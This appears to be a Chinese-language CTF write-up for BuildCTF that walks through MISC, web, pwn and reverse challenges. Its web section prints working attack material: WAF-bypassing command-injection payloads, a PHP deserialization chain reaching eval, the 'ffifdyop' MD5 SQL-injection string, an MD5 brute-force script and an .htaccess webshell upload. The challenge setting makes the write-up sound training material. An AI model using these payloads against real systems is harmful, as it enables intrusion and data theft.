MISC
what is this?
二进制转ASCII
搜索到类似的题套用脚本
摩斯解密
一念愚即般若绝,一念智即般若生
阴阳怪气解码
解压文件是个佛曰解密
在天书解密
Base58解码
别真给我开盒了哥
老色批
食不食油饼
需要把这个解密
如果再来一次,还会选择我吗?
一个图片损坏
把损坏的图片放到winhex中查看,可以看到文件头不对每两个十六进制被调换了位置
使用python脚本恢复
def swap_hex_pairs(file_path):
with open("D://脚本//password.png", 'rb') as f:
data = f.read()
hex_list = [hex(byte)[2:].zfill(2) for byte in data]
new_hex_list = []
for i in range(0, len(hex_list), 2):
if i + 1 < len(hex_list):
new_hex_list.append(hex_list[i + 1])
new_hex_list.append(hex_list[i])
else:
new_hex_list.append(hex_list[i])
return " ".join(new_hex_list)
def hex_to_binary(hex_str):
binary = ""
for hex_char in hex_str.split():
decimal_value = int(hex_char, 16)
binary += format(decimal_value, '08b')
return binary
file_path = " password.png "
result_hex = swap_hex_pairs("D://脚本")
result_binary = hex_to_binary(result_hex)
new_file_path = "result.png"
with open(new_file_path, 'wb') as new_file:
new_file.write(bytearray(int(result_binary[i:i+8], 2) for i in range(0, len(result_binary), 8)))
得出密码 8!67adz6
一个条形码被涂上了,直接使用条形码工具
key:wo_bu_shi_xiao_hei_zi!!!
解压后得到base64编码
使用赛博厨师帽进行解密,base64套娃
四妹,你听我解释
使用工具梭哈
这个是后部分的,在把图片放到kali中使用binwalk进行分离
在进行解密
白白的真好看
附件
0000000.txt一眼0宽
Flag2:_wh1t3_y0u_s33
docx文件打开是空白
打开这个
然后全选加个颜色
Flag1:BuildCTF{Th3_wh1t3
开始找第三段
汉信码识别不出有用的东西但这个命名有用
回复得到
Snow.txt
想到snow隐写
使用snow隐写工具输入命令
得到第三部分flag
合并得到flag:BuildCTF{Th3_wh1t3_wh1t3_y0u_s33_1s_n0t_wh1t3}
Guesscoin
nc连接
笨办法一直猜一面,累计对60次获得flag
EZ_ZIP
解压附件
得到一张二维码
Binwalk分离出zip
发现是套中套使用连点器点出flag
有黑客!!!
下载附件解压后是一个.pacpng文件,wireshark打开进行流量分析
发现可以流量
进行base64解码
网上搜索发现是哥斯拉的流量
然后利用NetA流量分工具一键梭哈哥斯拉流量得到flag
WEB
find-the-id
根据提示抓包爆破1-300的整数
我写的网站被rce了?
开题
全是管理面板,尝试过扫描目录没有东西扫不了
于是对每个选项都进行了抓包,因为抓的包都关掉了就不截图了,最后其实可以有回显得只有日志和进程这两个包,进程包发现不管传入什么都只会返回当前进程,最后发现注入点肯定在日志包
也进一步说明了注入点就在这
让GPT写了个字典进行fuzz测试
经过简单fuzz测试
0-9和%*+;<>.大致不能使用
因为最后回显到页面上得是文字所以log_type背后的逻辑一定是一个文件读取命令
既然是文件读取命令那我们如果要进行RCE得话那就不能让他成功执行想到了使用||进行环境分割
测试cat很明显被禁止了
转义试试然后一般网页的页面都是index.php尝试获取背后逻辑
获取到逻辑
function getCPUUsage() { | ||
$load = sys_getloadavg(); | ||
return $load[0]; | ||
} | ||
function uptime(){ | ||
$output = shell_exec("uptime"); | ||
return htmlspecialchars($output); | ||
} | ||
function getPHPVersion() { | ||
return phpversion(); | ||
} | ||
function getPythonVersion() { | ||
$output = shell_exec("python --version 2>&1"); | ||
return htmlspecialchars($output); | ||
} | ||
function getMySQLVersion() { | ||
$output = shell_exec("mysql --version 2>&1"); | ||
return htmlspecialchars($output); | ||
} | ||
function getNginxVersion() { | ||
$output = shell_exec("nginx -v 2>&1"); | ||
return htmlspecialchars($output); | ||
} | ||
function getKernelVersion() { | ||
$output = shell_exec("uname -r 2>&1"); | ||
return htmlspecialchars($output); | ||
} | ||
function updateSystem() { | ||
return "更新成功"; | ||
} | ||
function checkuser(){ | ||
return "功能正在开发"; | ||
} | ||
function adduser(){ | ||
return "功能正在开发"; | ||
} | ||
function addadmin(){ | ||
return "功能正在开发"; | ||
} | ||
function changuser(){ | ||
return "功能正在开发"; | ||
} | ||
function backup_logs() { | ||
return "备份成功!"; | ||
} | ||
function ps() { | ||
system("ps -a"); | ||
return "查看成功!"; | ||
} | ||
function getLogs($logType) { | ||
$logFile = '/var/log/nginx/' . $logType . '.log' ; | ||
if (!preg_match("/;|&|\*|[0-9]|php|\.|flag|cat|more|less|head|sort|tail|sed|cut|awk|tac|strings|\<|\>| |od|curl|\%|\x09|\x26/i",$logType)){ | ||
if ($logType != "access"){ | ||
echo "$logFile".'该文件路径错误或不合法,请查看路径是否正确'; | ||
} | ||
else{ | ||
echo "nginx日志查看成功\n"; | ||
echo "\n"; | ||
} | ||
$logContent = system("cat $logFile"); | ||
echo $logContent; | ||
} | ||
else{ | ||
echo "有hacker!!!!你要不要看看你在输入什么?????"; | ||
} | ||
} | ||
$uptime = uptime(); | ||
$phpVersion = getPHPVersion(); | ||
$pythonVersion = getPythonVersion(); // Get Python version | ||
$mysqlVersion = getMySQLVersion(); // Get MySQL version | ||
$nginxVersion = getNginxVersion(); // Get Nginx version | ||
$kernelVersion = getKernelVersion(); // Get kernel version | ||
?> | ||
提取逻辑
if (!preg_match("/;|&|\*|[0-9]|php|\.|flag|cat|more|less|head|sort|tail|sed|cut|awk|tac|strings|\<|\>| |od|curl|\%|\x09|\x26/i",$logType)){ | |
if ($logType != "access"){ | |
echo "$logFile".'该文件路径错误或不合法,请查看路径是否正确'; | |
} | |
else{ | |
echo "nginx日志查看成功\n"; | |
echo "\n"; | |
} | |
$logContent = system("cat $logFile"); | |
echo $logContent; | |
} | |
else{ | |
echo "有hacker!!!!你要不要看看你在输入什么?????"; | |
} |
尝试绕过进行命令执行
参考队友提供的笔记学到新东西了,结合waf进行修改
成功执行命令
log_type=||/bin/[l]s${IFS}/||
在根目录下发现flag
成功命令执行
log_type=||ca\t${IFS}/fla?||
BuildCTF{d5ced117-1c91-439b-95a6-c2aebbd2a7c5}
LovePopChain
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最后一次了, 爱而不得, 未必就是遗憾~~';
eval($_POST['y3y4']);
}
}
class hybcx{
public $JiuYue;
public $Si;
public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}
public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}
if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);
}else{
highlight_file(__FILE__);
}
首先贴个代码,其次传入的是非法变量名
_要改成[,+之类的
分析链子,一开始走错了走了call链子发现属性重复了走不通,然后回头看直接走了tostring
然后直接传Myobject类调用invoke方法即可
<?php
class MyObject {
public $NoLove ;
public $Forgzy;
}
class hybcx {
public $JiuYue;
public $Si;
}
$a=new MyObject();
$b=new hybcx();
$a->NoLove=$b;
$b->Si=new MyObject();
echo serialize($a);
O:8:"MyObject":2:{s:6:"NoLove";O:5:"hybcx":2:{s:6:"JiuYue";N;s:2:"Si";O:8:"MyObject":2:{s:6:"NoLove";N;s:6:"Forgzy";N;}}s:6:"Forgzy";N;}
POST正常传参即可
获取flag
RedFlag
打开环境
一眼SSTI,测试发现存在
网上有类似的题:https://cloud.tencent.com/developer/article/2130787
直接用就出了
ez!http
进入环境
伪造地址
挨个伪造最终得到flag
ez_md5
进入环境
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
看到这里的提交参数被MD5再组合进SQL查询语句,导致常规的注入手段几乎都失效了
但是注意到,MD5之后是hex格式,转化到字符串时如果出现'or'xxxx的形式,就会导致注入
这里提供一个抄来的字符串:ffifdyop
md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c
转成字符串为'or'6�]��!r,��b
从而完成了注入
以上。
参考文章:https://blog.csdn.net/qq_24810241/article/details/79908449
直接注入
进入正题
Request首先要明白是post和get和cookie,一开始我发现第一层绕过不是有cooie的原因我是用burpsuit删除了cookie
进入正题
Request首先要明白是post和get和cookie,一开始我发现第一层绕过不是有cooie的原因我是用burpsuit删除了cookie
这是最后的传参结果,有提示robot,md5值是用robot里面的提示
level2
md5(114514xxxxxxx)
进行爆破出来的
爆破脚本
import hashlib
import itertools
import string
# 已知的前缀
prefix = "114514"
# 目标MD5哈希值
target_hash = "3e41f780146b6c246cd49dd296a3da28"
# 暴力破解的字符集(假设未知部分是由数字组成的)
charset = string.digits # 如果你猜测未知部分是字母或其他字符,可以调整字符集
# 尝试7位的所有组合
for candidate in itertools.product(charset, repeat=7):
# 构造完整的字符串
test_string = prefix + ''.join(candidate)
# 计算该字符串的MD5值
md5_hash = hashlib.md5(test_string.encode()).hexdigest()
# 比较MD5值是否与目标哈希相同
if md5_hash == target_hash:
print(f"找到匹配的字符串: {test_string}")
break
else:
print("未找到匹配的字符串")
tflock
进入环境
F12查看得到forgot-password.php访问一下
robots协议搜索到
访问得到ctfer账号和密码123456
admin但密码不知道
还有一个密码本
登录ctfer得到关键信息
然后登admin用给的密码本爆破试试
但是输错三次就被锁定了
思路中断
队中的师傅突然试出一个类似与卡bug的方法
就是在登录错误两次的情况下返回登录ctfer这个账号会重置admin登录错误的次数
根据这个思路一直往下,用burp抓包爆破
对ctfer这个包进行无限重发
在修改用户爆破admin的密码设置间隔
爆出密码
登录得到flag
Babyupload
进入环境
找到上传点
上传发现抓包改格式能上传.htaccess文件
然后绕过滤上传图片马
访问
连接
没找到flag,想到可能在环境变量
刮刮乐
进入环境
F12查看发现可以利用cmd传参
我们传个flag得到回显
然后伪造
接着想如何显示flag,队友想到外带的方式
但是没啥反响
接着队友构造出tac+/flag tee+1.txt;sleep+5
利用反向读取/flag的内容写道指定的1.txt文件中然后暂停5秒
回显了flag
Cookie_Factory
进入环境
发现f12被禁用了,发现可以用浏览器三个杠中的打开开发者工具能查看源码
Ai分析了js文件发现可以作弊利用下面这个图片上的最多弄到10000000000000000000
然后在一直传会闪出flag,我通过快捷截图截图到flag
PWN
我要成为沙威玛传奇
直接nc 连接
一直当小偷
偷够差不多600多个金币;直接购买100个沙威玛
然后直接输入2吃掉所有
这样就可以执行Linux命令了
直接 cat flag
touch heart
简单的绕过字符
直接是s\h即可
Reverse
晴窗细乳戏分茶
首先进行了两次加密,然后判断得到的结果是否与flag相同。给定了加密后的结果和密钥,首先分析第一个加密函数,发现它是常见的TEA加密,使用的 delta 值是 0x9E3779B9,进行了32轮加密。可以直接用enc和key编写脚本进行解密,从而得到flag的前半部分。
第二个加密函数看起来像是XTEA加密,我之前接触得不多。需要搞清楚加密过程,编写对应的解密函数,传入enc和key,最终解出flag的后半部分
pyc
下载附件发现是一个pyc文件
直接用uncompyle6.exe.文件命令
拿到源码,编写脚本
BuildCTF{pcy_1s_eaey_for_Y0u}